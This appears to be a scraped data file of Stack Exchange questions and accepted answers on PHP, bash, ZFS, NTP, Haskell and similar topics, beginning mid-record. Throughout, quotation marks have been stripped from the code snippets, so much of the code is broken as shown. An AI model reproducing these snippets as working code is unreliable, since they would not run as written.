$message = wordwrap($message);    $body = <<<_END    Name: {$name}    Email: {$name}    Message: $message    _END;    // send    mail($to, $subject, $body, $from);}$config = parse_ini_file('../config.ini'); // path may vary depending on setup$conn = connect_db($config);prepare_visitors_table($conn);if (save_visitor($conn, $data['name'], $data['email'], $data['message'])) {        $usrMsg = 'Thank you we\\'ll be in touch when we have some news';    } else {        die (Sorry, there was an Error. Please try again later.);    }send_visitor_notification($data['name'], $data['email'], $data['message']);$conn->close();"  } 
{  "id": "_datascience.11278"  , "question": "I'm trying to choose an algorithm for filtering spam.I found two options:Create word dictionary for spam and not spam data.Calculate average TF-IDF for each word and use cosine similarity for filtering.Or use word dictionary for training logistic regression model.Could you suggest what fit the best for my goal. Maybe I should use some another algorithm."  , "title": "Cosine similarity or logistic regression for spam filtering"  , "tags": "machine learning;classification"  , "accepted_answer": "Use logistic regression which allows the weights to be learnt. By using cosine similarity you are forcing the weights to be the same for all features (assuming that you normalize the features first). This is putting unnecessary restrictions on the model."  } 
{  "id": "_webmaster.925"  , "question": "What are some of the best hosting providers for a Ruby on Rails application?I have looked into Heroku and it looks like a good option, but would it be better to go with a VPS or Grid hosting provider."  , "title": "Rails hosting providers"  , "tags": "web hosting"  } 
{  "id": "_computerscience.214"  , "question": "I'm trying to learn about raytracing by implementing things in Python 3. I know this is always going to be slower than something like C++, and I know the speed could also be improved by using GPU raytracing, but for this question I'm not looking for general ways of speeding up, but specifically ways of reducing the number of samples required, which will then be useful for any language I may work with in future.I have a partly formed idea which I'd like to work on, but first I wanted to run this past the experts to see if this is a pre-existing technique so I don't repeat work that has already been done.I've searched for sampling solid angle and voronoi sphere sampling but I can't see any sign of prior work. I'll describe my idea in case it goes by a name I can't think of.Example imageThis is an image of three spheres on a plane (which is actually a very large sphere). One is emissive, one is reflective, and one is matt (as is the floor). Sampling is adaptive so that pixels that quickly reach a stable colour do not take up much time. I limit the total number of samples per pixel to avoid the rendering continuing for too long. Even allowed to run overnight, the resulting image is very grainy, and experimenting with smaller images suggests this size image (1366 by 768) would take weeks to converge with my current approach.My idea: concentrating samples along colour boundariesI'd like to be able to concentrate samples where they are needed, and to do this adaptively based on previous samples for the same intersection point or pixel. This will give an unknown bias in the distribution of samples, which means taking the average of the samples will give an inaccurate result. Instead I would like to consider the size of the voronoi cell on the surface of the unit hemisphere centred on the point of intersection (for sampling light incident at a point on a matt surface) or on the surface of a small circle (for sampling around a pixel).Assume that all points within that voronoi cell are receiving rays of the same colour as the centre of the voronoi cell. Now an estimate of the average colour can be obtained by weighting according to the area of each voronoi cell. Choosing new samples on the boundary between the two voronoi cells with the greatest difference in colour leads to an improvement in the estimate without needing to sample the entire hemisphere. Samples should end up more densely concentrated in areas of higher colour gradient. Areas of flat colour should end up being ignored once they have a few points near their boundary.The extra complication is that in both cases (sampling from a point on a matt surface, or sampling over a circle around a pixel centre) the simplified approach I have described is roughly equivalent to a large number of samples distributed uniformly. To make this work I would need to be able to bias the average by both the voronoi cell areas and the required distribution (cosine around the surface normal for a matt surface or gaussian around a pixel centre).So I have some more thinking to do before I could test this idea, but I wanted to check first if this has either already been done, or already ruled out as unworkable."  , "title": "Speeding up convergence: am I reinventing the wheel?"  , "tags": "raytracing;sampling;efficiency"  } 
{  "id": "_codereview.44682"  , "question": "I have the following code, which works as I need it to, however, it repeats itself over and over.I'm relatively new to PHP and haven't grasped recursive functions yet. Which I've been told I'll need to understand as this function could potentially have many levels.if ($_POST['parent'] == None) {        $parent = ;    } else {        $parent = $connection->real_escape_string($_POST['parent']);    }    if (!empty($parent)) {        $query = $connection->query(SELECT * FROM pages WHERE filename='$parent');                while($row = $query->fetch_array()) {            $path_arr = explode('/',$row['path_to']);            end($path_arr);            $key = key($path_arr)-1;            $parent1 = $path_arr[$key];            if (!empty($parent1)) {                $query = $connection->query(SELECT * FROM pages WHERE filename='$parent1');                while($row = $query->fetch_array()) {                    $path_arr = explode('/',$row['path_to']);                    end($path_arr);                    $key = key($path_arr)-1;                    $parent2 = $path_arr[$key];                    if (!empty($parent2)) {                        $query = $connection->query(SELECT * FROM pages WHERE filename='$parent2');                        while($row = $query->fetch_array()) {                            $path_arr = explode('/',$row['path_to']);                            end($path_arr);                            $key = key($path_arr)-1;                            $parent3 = $path_arr[$key];                            if (!empty($parent3)) {                                $query = $connection->query(SELECT * FROM pages WHERE filename='$parent3');                                while($row = $query->fetch_array()) {                                    $path_arr = explode('/',$row['path_to']);                                    end($path_arr);                                    $key = key($path_arr)-1;                                    $parent4 = $path_arr[$key];                                }                            }                        }                    }                }            }        }           }    $path_to = rtrim(ltrim($parent4.'/'.$parent3.'/'.$parent2.'/'.$parent1.'/'.$parent.'/'.$filename,'/'),'/');As you can see there are minimal differences within the nested while loops, but I'm really not sure how to make the function loop for each level.I was pointed to this, and while I understand what the factorial is, I still am unsure on how to refactor my code into a looping function.Any pointers?UPDATECertainly moving in the right direction of what I'm hoping to achieve with Simon Andr Forsberg's suggestionHowever (I probably should have made this clearer in my explanation), The loop(s) determine whether a 'file' (a database entry, masquerading as a file) has a parent 'file', returns that parent 'file', then checks that parent 'file' for a parent 'file' and returns it and so on and so on until there are no more parents.It is used to create a dynamic path directory.like so /parent4/parent3/parent2/parent1/filename/The line of code that follows the loops (again, I probably should have included this), is below...$path_to = rtrim(ltrim($parent4.'/'.$parent3.'/'.$parent2.'/'.$parent1.'/'.$parent.'/'.$filename,'/'),'/');So each level of the loop outputs to this string.I have a feeling I may have to do this using palacsint's method of taking the working part of each loop and creating that as a function.I may be wrong but could Simon's method output to an array? first parent in pos 0, second in pos 1, etc?However, then the query would have to have the filename='$parent' updated to look at the last array entry.$query = $connection->query(SELECT * FROM pages WHERE filename='$parent');Have I bitten off more than I can chew?"  , "title": "Need to condense the following into a looping function"  , "tags": "php"  , "accepted_answer": "You seem to always end with the check: Is there another parent? Or as it can be formulated, while there is another parent, grab that parent.Luckily for you, there are while loops.while (!empty($parent)) {    $query = $connection->query(SELECT * FROM pages WHERE filename='$parent');            while($row = $query->fetch_array()) {        $path_arr = explode('/',$row['path_to']);        end($path_arr);        $key = key($path_arr)-1;        $parent = $path_arr[$key];        break; // break from the inner loop that fetches each row    }}This code will continue looping while there is a parent available. Note that the new parent uses the same variable as the previous one, this is an important part in making this loop work.Other suggestions:Use prepared statements! It is good that you seem to sanitize your inputs by using the real_escape_string method. But prepared statements is always better. And then you wouldn't have to use the real_escape_string call.Since this code only gets the first result, you don't need the inner while loop and can replace it by a if instead.while (!empty($parent)) {    $query = $connection->query(SELECT * FROM pages WHERE filename='$parent');            if ($row = $query->fetch_array()) {        $path_arr = explode('/',$row['path_to']);        end($path_arr);        $key = key($path_arr)-1;        $parent = $path_arr[$key];    }}I do have to ask though: What's the point in just grabbing the parent until there are no more parents? To store all the parents in an array, let's do like this:$parents = array();while (!empty($parent)) {    $parents[] = $parent; // add parent to the array    $query = $connection->query(SELECT * FROM pages WHERE filename='$parent');            if ($row = $query->fetch_array()) {        $path_arr = explode('/',$row['path_to']);        end($path_arr);        $key = key($path_arr)-1;        $parent = $path_arr[$key];    }}Now, when this loop finishes, $parents contains all the parents that was not empty. Now you can loop through that using a foreach loop, or use it with implode or whatever you'd like :)"  } 
{  "id": "_unix.23609"  , "question": "if I have current path as a long one..and I want to switch to a directory with just one word from path replaced by something else..like say when using maven , I want to switch from main path to test path, how do I do it?Some time back, I was able to do it by$ cd main testto replace main by test in the path, but not any more..Any pointers...?"  , "title": "Any cd shortcut to switch an intermediate directory in current path?"  , "tags": "bash;cd command"  , "accepted_answer": "You could use a simple function for that (put it in your .bashrc or something like that):function bcd {    cd ${PWD/$1/$2}}Then you call it like this:~/tmp $ bcd tmp src~/src $ "  } 
{  "id": "_codereview.120567"  , "question": "#pragma comment(lib, sfml-network.lib)#include <iostream>#include <SFML/Network.hpp>const unsigned short PORT = 5000;const std::string IPADDRESS(192.168.0.100);//change to suit your needsstd::string msgSend;sf::TcpSocket socket;sf::Mutex globalMutex;bool quit = false;void DoStuff(void){    static std::string oldMsg;    while(!quit)    {        sf::Packet packetSend;        globalMutex.lock();        packetSend << msgSend;        globalMutex.unlock();        socket.send(packetSend);        std::string msg;        sf::Packet packetReceive;        socket.receive(packetReceive);              if(packetReceive >> msg)        {            if(oldMsg != msg)                if(!msg.empty())                {                    std::cout << msg << std::endl;                    oldMsg = msg;                }        }    }}void Server(void){    sf::TcpListener listener;    listener.listen(PORT);    listener.accept(socket);    std::cout << New client connected:  << socket.getRemoteAddress() << std::endl;}bool Client(void){    if(socket.connect(IPADDRESS, PORT) == sf::Socket::Done)    {        std::cout << Connected\\n;        return true;    }    return false;}void GetInput(void){    std::string s;    std::cout << \\nEnter \\exit\\ to quit or message to send: ;    std::cin >> s;    if(s == exit)        quit = true;    globalMutex.lock();    msgSend = s;    globalMutex.unlock();}int main(int argc, char* argv[]){    sf::Thread* thread = 0;    char who;    std::cout << Do you want to be a server (s) or a client (c) ? ;    std::cin  >> who;    if(who == 's')        Server();    else        Client();    thread = new sf::Thread(&DoStuff);    thread->launch();    while(!quit)    {        GetInput();    }    if(thread)    {        thread->wait();        delete thread;    }    return 0;}"  , "title": "Basic C++ server and client for chatting over TCP"  , "tags": "c++;multithreading;tcp;chat;sfml"  } 
{  "id": "_unix.327954"  , "question": "there are so many tutorials out there explaining how to setup dhcpd server, in relation to providing ntp suggestions to dhcp clients, that I had always thought that ntp configuration was carried out automatically. Recently I started seeing clock drifts in my local network, so I assume this was a wrong assumption. So I set out to see how can one minimize the ntp client configuration, provided one has carried out the effort to set up ntp-server suggestions through dhcpd.I have not been able to find much apart from this Ubuntu specific help tutorial https://help.ubuntu.com/community/UbuntuTime . Even here (see paragraph under Troubleshooting -> Which configuration file is it using?) the information is scarce but it says that if an /etc/ntp.conf.dhcp file is found it will be used instead. First of all the actual location that the writer meant here is /var/lib/ntp/ntp.conf.dhcp as observed in /etc/init.d/ntp , but regardless of that the presence of this file does not guarantee that the ntp will request servers from dhclient. As a result, I have to explicitly add the server clause in ntp.conf.dhcp for my local ntp server. But in that case, why do I even setup ntp settings on the dhcpd server?This seems to go against intuition, ie setup ntp settings once (ie on the server) and let dhcpd server delegate the information to the clients. How can I minimize (if not avoid altogether), client configuration for the ntp. Alternatively, how can I get ntp information through dhclient.Is there a cli solution that fits all linux distros? I assume every client should have the executables of ntpd, but I do not know how to proceed from there.Thank youEDIT:ubuntu client verbose output when running manually dhclient:sudo dhclient -1 -d -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases eth0Internet Systems Consortium DHCP Client 4.2.4Copyright 2004-2012 Internet Systems Consortium.All rights reserved.For info, please visit https://www.isc.org/software/dhcp/Listening on LPF/eth0/20:cf:30:0e:6c:12Sending on   LPF/eth0/20:cf:30:0e:6c:12Sending on   Socket/fallbackDHCPREQUEST of 192.168.112.150 on eth0 to 255.255.255.255 port 67 (xid=0x2e844b8f)DHCPACK of 192.168.112.150 from 192.168.112.112reload: Unknown instance: invoke-rc.d: initscript smbd, action reload failed.RTNETLINK answers: File exists * Stopping NTP server ntpd   ...done. * Starting NTP server ntpd   ...done.bound to 192.168.112.150 -- renewal in 41963 seconds.The ntpd service is restarted, yet running ntpq -cpe -cas afterwards I still do not see my local ntp server in the list of ntp servers.Of course my dhcpd server does have option ntp-serverssubnet 192.168.112.0 netmask 255.255.255.0 {        max-lease-time 604800;        default-lease-time 86400;        authoritative;        ignore client-updates;        option ntp-servers 192.168.112.112; #self        ... (many other options)}"  , "title": "how do you set up a linux client to use ntp information provided through dhcp?"  , "tags": "configuration;dhcp;ntp;ntpd;dhclient"  , "accepted_answer": "If the dhcp server you are using is configured to provide the ntp-servers option, you can configure your dhclient to request ntp-servers by adding ntp-servers to the default request line in dhclient.conf, as shown at the end of this example from Ubuntu Linux (16.04 now, but was installed as 12.04):request subnet-mask, broadcast-address, time-offset, routers,        domain-name, domain-name-servers, domain-search, host-name,        dhcp6.name-servers, dhcp6.domain-search, dhcp6.fqdn, dhcp6.sntp-servers,        netbios-name-servers, netbios-scope, interface-mtu,        rfc3442-classless-static-routes, ntp-servers;/etc/ntp.conf and the information from DHCP will be used to create /etc/ntp.conf.dhcp. Your ntpd must be told to use /etc/ntp.conf.dhcp if it exists.  On the version of Ubuntu that I'm using, this is done via /etc/dhcp/dhclient-exit-hooks.d/ntp.  <-- this is the file that tells NTPd to use /etc/ntp.conf.dhcp if it exists, and to just use /etc/ntp.conf if it doesn't. "  } 
{  "id": "_webapps.97688"  , "question": "When I use back quote to highlight terms in trello card content, the outcome to be in red color which I don't like it.I prefer to format it as we do back-quoting here e.g. a back-quoted text sample.Is it possible to change that in trello.com ?"  , "title": "How to change text color for back-quoted text in trello.com"  , "tags": "trello"  , "accepted_answer": "There are a couple of options:Go to Settings and click Enable Color Blind Friendly Mode under Accessibility. This will give you the black on gray that you desire. It will change some other coloring as well. You'll notice that the label colors are now striped.You can install a browser extension like Stylish and add a CSS rule for the code element to set the text color to black. Something like code { color: black !important;}"  } 
{  "id": "_unix.30309"  , "question": "I am planning to log in to my college PC using ssh and run some simulations. These simulations take very long time, so I would like the relevant process to run longer than the ssh session (I want to log in, run the process, log out and collect the results the next day).How can I do itIf the process is a command line tool that doesn't expect any inputs (so that I just need the resulting output file)?If the process is a GUI, which sadly doesn't save the results to a file, but displays it instead. So in this case I was thinking of using ssh -X ... command, but then I don't know how to reconnect to the open window."  , "title": "Running programs over ssh"  , "tags": "ssh;remote desktop"  , "accepted_answer": "Assuming your college's computer runs all the time:Use GNU Screen or tmux and live happily ever after.Apparently, xpra offers that, i.e. it attempts to be Screen for X11.  (I've never used it, though.)(There're other solutions for (1.), e.g. nohup and IO redirection, but Screen probably is the canonical tool for these kinds of issues. (You can then just re-attach to the detached session and see if the simulation still runs etc...))"  } 
{  "id": "_unix.361552"  , "question": "I have two ZFS mount points/a ZFS pool in a FreeBSD 12.0 server, that I can see with df:$ df -h | grep zrootzroot/vms      196G    657M    195G     0%    /vmszroot          195G     19K    195G     0%    /zrootHow can I know in which partition it is located? Can I know a little more about it?"  , "title": "Mapping ZFS pool to partition"  , "tags": "freebsd;zfs"  , "accepted_answer": "You can know more about your ZFS pool with several commands:$zpool status pool: zroot state: ONLINE  scan: none requestedconfig:    NAME        STATE     READ WRITE CKSUM    zroot       ONLINE       0     0     0      nvd0p4    ONLINE       0     0     0errors: No known data errorsAs you can see, a ZFS pool zroot was created in the nvd0p4 partition.You can also get a few more glimpses about the characteristics of the pool with the command zpool list:$zpool listNAME    SIZE  ALLOC   FREE  EXPANDSZ   FRAG    CAP  DEDUP  HEALTH  ALTROOTzroot   202G   657M   201G         -     0%     0%  1.00x  ONLINE  -As root, you can also see the history of the ZFS pool usage:$sudo zpool historyHistory for 'zroot':2017-01-16.22:00:43 zpool create zroot /dev/nvd0p42017-01-16.22:48:59 zfs create -V16G -o volmode=dev zroot/linuxdisk02017-01-16.22:49:33 zfs destroy zroot/linuxdisk02017-01-17.20:59:04 zfs create -o mountpoint=/vms zroot/vms2017-01-17.21:21:35 zfs create zroot/vms/testvm2017-01-17.21:21:40 zfs create -sV 16G -o volmode=dev zroot/vms/testvm/disk02017-01-17.21:23:41 zfs destroy -rf zroot/vms/testvm2017-01-30.22:24:59 zfs create zroot/vms/testvm2017-01-30.22:25:04 zfs create -sV 16G -o volmode=dev zroot/vms/testvm/disk02017-01-30.22:35:15 zfs destroy -rf zroot/vms/testvm   You can also list the mounted ZFS filesystems:$ zfs mountzroot/vms                       /vmszroot                           /zrootZFS has also support for snapshots, jails, and much more. See man zfs and man zpool for more details.See also ZFS Tutorials : Creating ZFS pools and file systems"  } 
{  "id": "_webapps.40388"  , "question": "It appears that I have to proactively select the timezone I'm in to Google Drive so that they display correctly. Is there a way I can push this setting to all users within the organization?"  , "title": "How do I set the timezone for Google Drive from Google Apps?"  , "tags": "google drive;google apps"  , "accepted_answer": "You can change your timezone in the settings for Google Drive. See below screenshots.As for changing it for all users this is not possible. Each user will have to set their timezone individually. "  } 
{  "id": "_codereview.29150"  , "question": "I'm using Twitter Bootstrap and I'm working on a page that has several tabs that all have carousels in them (each with a ton of images) I've managed to write an AJAX script that pulls the images from a JSON file I've created (for one of the carousels). I'm planning on making similar JSON file for the rest, but what I'm wondering though is there a way to write the AJAX script so that it grabs the id from the HTML so I don't have to make a unique AJX script for each version of the carouselHere's how my HTML looks for the carousel:    <div id=ShaluCarousel1b class=carousel slide><!-- class of slide for animation -->        <div class=carousel-inner id=carousel1b>        </div><!-- /.carousel-inner -->    </div>And here's my AJAX script:<script>    $.ajaxSetup({            error: function(xhr, status, error) {                alert(An AJAX error occured:  +status + \\nError:  +error);            }        });    $.ajax({        url:'json/carousel1b',        type:'GET',        success: function(data){            console.log('grabbing photos');            var totalPictures = data['totalPictures'];            for (var i=0; i<totalPictures; i++) {                console.log(new image);                if(i<1){                    console.log(first image);                    var d = <div class='item active'>;                    d += <a href=' +data.pictures[i]['photo'] +' rel='prettyPhoto'>;                    d += <img src=' +data.pictures[i]['photo'] +' >;                    d += </a>;                    d += </div>;                $('#carousel1b').append(d);                }                else {                    console.log(image +i);                var d = <div class='item'>;                    d += <a href=' +data.pictures[i]['photo'] +' rel='prettyPhoto'>;                    d += <img src=' +data.pictures[i]['photo'] +' alt=''>;                    d += </a>;                    d += </div>;                $('#carousel1b').append(d);                $(a[rel^='prettyPhoto']).prettyPhoto();                    console.log('pp init');                }            }           }    })</script>I'm basically wondering if there is a way to pull the id (carousel1b) from the htnl and inject it into the AJAX strip in the url:'jason/carousel1b and the $('carousel').append(d)"  , "title": "Simplifying an ajax script in my HTML"  , "tags": "ajax;html5"  , "accepted_answer": "Depending on when you want to make the ajax request, you'll need to modify the first line of my example. Currently it just gets all of them. You might want to change it so that it gets only the div that was clicked, or whatever. Anyways here's one way you could do that:$('div[id*=carousel]').each(function() { //The *= selector gets all the divs with an id that contains carousel anywhere in the id.    var $this = $(this), //Here we select the right div        id = $this.attr('id'); //And grab the id of the div    $.ajax({        url: 'json/' + id,        //You don't need to set type: GET, the GET is the default.        success: function(data) {            //blah blah blah...            $this.append(d); //Boom done!        }    });});The way you have your success function set up, you're appending and changing the DOM each time that for loop goes around, and it goes around for every image. That's not good because DOM manipulations are quite expensive performance wise. So if you have 100 images, you're append one at a time - 100 times. The better way to do that would be do all your stuff and save to a variable, string, or object, then append once outside the loop.Here's an example of what  I mean:var totalPictures = data['totalPictures'],    d = ; //We add d outsidefor (var i=0; i<totalPictures; i++) {    if(i<1){        d = <div class='item active'>;        d += <a href=' +data.pictures[i]['photo'] +' rel='prettyPhoto'>;        d += <img src=' +data.pictures[i]['photo'] +' >;        d += </a>;        d += </div>;    } else {        d += <div class='item'>; //Added a += here so that it'll add onto the first picture        d += <a href=' +data.pictures[i]['photo'] +' rel='prettyPhoto'>;        d += <img src=' +data.pictures[i]['photo'] +' alt=''>;        d += </a>;        d += </div>;    }}$('#carousel1b').append(d); //Here we append a single time outside the loop//This cuts our appends down from totalPictures to 1.//What may seem like a small change will make a huge difference$(a[rel^='prettyPhoto']).prettyPhoto(); //I assume you'll need this outside since it depends on the appended content"  } 
{  "id": "_unix.323324"  , "question": "Let's suppose a scene.    domain name:  xyz.com    the domain parsed by third-party dns server:   ns1.xxx.com     IP address bound with domain:  123.123.123.123     apache2 was installed on  123.123.123.123      Should my /etc/httpd/conf/httpd.conf be this way :config1:ServerRoot /etc/httpdListen 80Include conf.modules.d/*.confUser apacheGroup apacheServerName 123.123.123.123:80<VirtualHost *:80>    ServerName www.xyz.com    DocumentRoot /var/www/html</VirtualHost>config2:  ServerRoot /etc/httpdListen 80Include conf.modules.d/*.confUser apacheGroup apacheServerName xyz.com:80<VirtualHost *:80>    ServerName www.xyz.com    DocumentRoot /var/www/html</VirtualHost>config3:  ServerRoot /etc/httpdListen 80Include conf.modules.d/*.confUser apacheGroup apacheServerName localhost:80<VirtualHost *:80>    ServerName www.xyz.com    DocumentRoot /var/www/html</VirtualHost>config4:  ServerRoot /etc/httpdListen 80Include conf.modules.d/*.confUser apacheGroup apacheServerName 127.0.0.1:80<VirtualHost *:80>    ServerName www.xyz.com    DocumentRoot /var/www/html</VirtualHost>Which config file is fit for my example?"  , "title": "Which config file is fit for my example to config apache2?"  , "tags": "apache httpd;dns"  } 
{  "id": "_softwareengineering.262093"  , "question": "Our client sells several products in an online shop (our software) for a especially low price on the first purchase. Further purchases of each product will fallback to the regular price.E.g. product costs 10 EUR on the first purchase (quantity fixed to 1) and 20 EUR each on the next purchases (any quantity).To prevent customers playing tricks and attempting to order products more than once, we compare e-mail, name/address before accepting any order. Although there are still ways to bypass this, we block most naive attempts. Thus customers usually order once and never come back (that's fine, it's solely purpose is product promotion).However, we just encountered a case where a customer tricked our system. But first, let me explain how our checkout works: When hitting the buy button, we generate an unique transaction with all order details and redirect the customer to the payment gateway (e.g. PayPal Standard). As soon as we receive a valid and successful payment notification from the payment service provider (e.g. PayPal IPN), this transaction is converted to an actual order. Since the ordered products are now considered purchased, we would block further attempts to purchase them for the lower price.The said customer did the following to trick the validation: He opened a second browser tab of the summary page with buy button. He pressed the buy button in each tab resulting in two browser tabs (1st tab with transaction ID 1234 and 2nd tab with transaction ID 1235 - same session). The customer then paid for both transactions (e.g. on PayPal) and thus successfully generated two orders with the same products for the low price.While it is possible to detect such a case or even deny the second purchase here (additional validation after payment notification), we still would need to deal with the money paid by the customer. Is there any technical way to prevent a simultaneous purchase to begin with?"  , "title": "Simultaneous purchase in online shop bypassing limited offer"  , "tags": "concurrency;e commerce;transaction"  } 
{  "id": "_unix.317341"  , "question": "I have like FOLDERs name like:/AAA1\\BBB1\\CCC1/AAA2\\BBB2\\CCC2/AAA3\\BBB3\\CCC3How I can mass rename it to:/AAA1_BBB1_CCC1/AAA2_BBB2_CCC2/AAA3_BBB3_CCC3"  , "title": "How to mass rename folder Debian?"  , "tags": "debian;directory;rename"  } 
{  "id": "_webapps.33644"  , "question": "There is a user in our Trello organization who only needs to be notified when she is mentioned in a card. She has not subscribed to any boards.The notification emails she gets are filled with notifications from cards she is not involved in. Why is this happening? How can I set it up so that she only gets notifications when she is @mentioned?"  , "title": "Trello user getting notifications for cards/boards she is not involved in or subscribed to?"  , "tags": "trello"  } 
{  "id": "_unix.379326"  , "question": "(I give context for my question first, the question itself is at the bottom where it says QUESTION in bold).Take two processes A and B. A checks a condition, sees that it isn't satisfied, and goes to sleep/blocks. B satisfies the condition and wakes A up. If everything happens in that order, then we have no problems.Now if the scheduler goes:A checks condition, it's not satisfiedB satisfies condition, wake A upA goes to sleep/blocksthen we lose the wake-up that B performs for A.I've come across this problem in the context of implementing a blocking semaphore (i.e. one that puts the wait()ing thread to sleep/blocks it instead of letting it spin-wait). Several sources give solutions to this, among them:Andrew Tanenbaum, Modern Operating Systems, 4th edition, p. 130:The essence of the problem here is that a wakeup sent to a process  that is not (yet) sleeping is lost. If it were not lost, everything  would work. A quick fix is to modify the rules to add a wakeup waiting  bit to the picture. When a wakeup is sent to a process that is still  awake, this bit is set. Later, when the process tries to go to sleep,  if the wakeup waiting bit is on, it will be turned off, but the  process will stay awake. The wakeup waiting bit is a piggy bank for  storing wakeup signals. The consumer clears the wakeup waiting bit in  every iteration of the loop.This article in the Linux journal (Kernel Korner - Sleeping in the Kernel, Linux Journal #137) mentions something similar:This code avoids the lost wake-up problem. How? We have changed our  current state to TASK_INTERRUPTIBLE, before we test the condition. So,  what has changed? The change is that whenever a wake_up_process is  called for a process whose state is TASK_INTERRUPTIBLE or  TASK_UNINTERRUPTIBLE, and the process has not yet called schedule(),  the state of the process is changed back to TASK_RUNNING.Thus, in the above example, even if a wake-up is delivered by process  B at any point after the check for list_empty is made, the state of A  automatically is changed to TASK_RUNNING. Hence, the call to  schedule() does not put process A to sleep; it merely schedules it out  for a while, as discussed earlier. Thus, the wake-up no longer is  lost.As I understand, this basically says you can mark a process as wanting to go to sleep/block such that a later wakeup can cancel the later sleep/block call.Finally these lecture notes in the bottom couple paragraphs starting at The pseudo-code below shows the implementation of such a semaphore, called a blocking semaphore: gives code for a blocking semaphore and uses an atomic operation Release_mutex_and_block (csem.mutex);. They claim that:Please notice that the P()ing process must atomically become  unrunnable and release the mutex. This is becuase of the risk of a  lost wakeup. Imagine the case where these were two different  operations: release_mutex(xsem.mutex) and sleep(). If a context-switch  would occur in between the release_mutex() and the sleep(), it would  be possible for another process to perform a V() operation and attempt  to dequeue_and_wakeup() the first process. Unfortunately, the first  process isn't yet asleep, so it missed the wake-up -- instead, when it  again runs, it immediately goes to sleep with no one left to wake it  up.Operating systems generally provide this support in the form of a  sleep() system call that takes the mutex as a parameter. The kernel  can then release the mutex and put the process to sleep in an  environment free of interruptions (or otherwise protected).QUESTION: Do processes in UNIX have some way of marking them as I'm planning on going to sleep, or a wakeup waiting bit as Tanenbaum calls it? Is there a system call sleep(mutex) that atomically releases a mutex and then puts the process to sleep/blocks it?It's probably somewhat apparent that I'm not familiar with system calls and generally OS internals; if there are any false assumptions apparent in my question or misuses of terminology, I'd be happy to have them pointed out to me."  , "title": "Lost wakeup problem - how does UNIX deal with it"  , "tags": "concurrency"  } 
{  "id": "_codereview.82012"  , "question": "I'm looking for feedback specifically about what I might add to this to make it more usable or general, especially with regard to scala collection traits to implement.import scala.collection.{GenTraversableOnce, SortedSet}object NonEmptySortedSet {  def apply[A](elems: A*)(implicit ord: scala.Ordering[A]) =    new NonEmptySortedSet(SortedSet[A](elems: _*))  def apply[A](s: SortedSet[A]) =    if (s.nonEmpty) Some(new NonEmptySortedSet(s)) else None  def apply[A](s: Set[A])(implicit ord: scala.Ordering[A]) =    if (s.nonEmpty) Some(new NonEmptySortedSet(SortedSet[A]()(ord) ++ s)) else None  object Implicits {    implicit class SortedSetOps[A](s: SortedSet[A]) {      def toNes = apply(s)    }    implicit class SetOps[A](s: Set[A]) {      def sorted(implicit ord: scala.Ordering[A]) = apply(s)    }  }}class NonEmptySortedSet[A] private(s: SortedSet[A]) extends SortedSet[A] {  override val head: A = s.head  override val tail: SortedSet[A] = s.tail  def contains(elem: A): Boolean = s.contains(elem)  override val isEmpty = false  def +(elem: A): NonEmptySortedSet[A] = new NonEmptySortedSet(s + elem)  def -(elem: A): SortedSet[A] = s - elem  override def ++(elems: GenTraversableOnce[A]): NonEmptySortedSet[A] = new NonEmptySortedSet(s ++ elems)  def map[B](f: A => B)(implicit ord: scala.Ordering[B]): NonEmptySortedSet[B] =    new NonEmptySortedSet(s.map(f))  def iterator: Iterator[A] = s.iterator  implicit val ordering: Ordering[A] = s.ordering  override def rangeImpl(from: Option[A], until: Option[A]): SortedSet[A] = s.rangeImpl(from, until)  override def keysIteratorFrom(start: A): Iterator[A] = s.keysIteratorFrom(start)}"  , "title": "NonEmptySortedSet implementation"  , "tags": "scala;collections"  } 
{  "id": "_codereview.119750"  , "question": "I wonder if there exists a shorter/more elegant functional programming way than listing all the possible cases. Here, a function that determines positions of beginning/end of subintervals greater than threshold is coded. The idea behind the listed code is to mark and retain the beginning of such an interval, then to push a tuple of (beginning,ending) as soon as the interval ends. Feel free to choose any other approach if needed.-- | Determines the intervals greater than threshold.---- Examples:-- >>> intervals 0.5 [0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0]-- [(3,4),(8,10)]-- >>> intervals 0.5 [1,0,0,0,1,1,0,0,0,1,1,1,0]-- [(0,0),(4,5),(9,11)]-- >>> intervals 0.5 [1,0,0,0,1,1,0,0,0,1,1,1,0,1,1,1]-- [(0,0),(4,5),(9,11),(13,15)]intervals :: Ord a => a -> [a] -> [(Int, Int)]intervals threshold ys = f False 0 p  where p = zip [0..] . map (> threshold) $ ys        f :: Bool -> Int -> [(Int, Bool)] -> [(Int, Int)]        f _ _ [] = []        f True startPos ((bPos,b):[]) | b = [(startPos, bPos)]                                      | otherwise = [(startPos, startPos)]        f False _ ((bPos,b):[]) | b = [(bPos, bPos)]                                | otherwise = []        f True startPos ((aPos,a):(bPos,b):as) | a && b = f True startPos ((bPos,b):as)                                               | a && (not b) = ((startPos, aPos)) : (f False 0 as)                                               | otherwise = (startPos, startPos) : (f False 0 ((bPos,b):as))        f False _ ((aPos,a):as) | a = f True aPos as                                | otherwise = f False 0 as"  , "title": "A function determining intervals of values greater than threshold"  , "tags": "haskell"  , "accepted_answer": "(You can skip right to TL;DR for a simpler approach)Your function actually determines the indices of list elements that are above a threshold. In Haskell, when you have a list, an index is not the idiomatic way to represent its items. What do you want with those indices?Agreed, your version is hard to read. For another approach, I start withintervalsT :: [Bool] -> [(Int, Int]and notice that the group function might come in handy to collect subsequent equal elements.*Main> group [True,True,False,False,True][[True,True],[False,False],[True]]mapping length will result in [2,2,1], which is a step closer to the indices. To turn [a,b,c] into [0,a ,a+b, a+b+c], the function scanl' is perfect:*Main> scanl' (+) 0 [2,2,1][0,2,4,5]which we can zip with its own tail. But wait! We lost information whether something is above or below threshold.zip it again with the grouped Bools, filter based on the bools, throw away the bools. This yields:TL;DRintervals p = intervalsT . map (>p)intervalsT :: [Bool] -> [(Int,Int)]intervalsT xs = let grouped = group xs                    idx = scanl' (+) 0 . map length $ grouped                    ivs = zip idx (map (subtract 1) $ tail idx)                 in map snd $ filter fst $ zip (map head grouped) ivs"  } 
